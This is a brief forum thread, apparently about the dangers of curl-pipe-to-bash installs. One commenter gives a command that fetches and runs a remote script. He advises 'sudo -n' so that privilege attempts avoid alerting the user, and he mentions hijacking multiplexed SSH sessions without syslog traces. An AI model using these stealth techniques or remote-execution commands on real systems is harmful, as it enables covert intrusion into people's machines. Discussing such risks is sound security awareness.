4 ms·
be sure to add -n so that it silently fails (assuming you redirect output) and does not alert the user. If they have a sudo token active, then it will silently
by LinuxBender 7y ago
be sure to add -n so that it silently fails (assuming you redirect output) and does not alert the user. If they have a sudo token active, then it will silently succeed.
Here is an example:
curl -s https://ohblog.org/test.txt | bash
Read the test.txt file first of course.
- inshadows 7y agoWhy does sudo matter at all? If you run this curl it can literaly steal your Firefox credentials, your photos, record your passwords, ...
- LinuxBender 7y agoAbsolutely true. I was just adding a more silent way to use sudo without being detected. In fact, without sudo, I can still piggy-back on peoples SSH connections if they don't disable multiplexing. As an added bonus, there are no syslog entries when I ride that channel.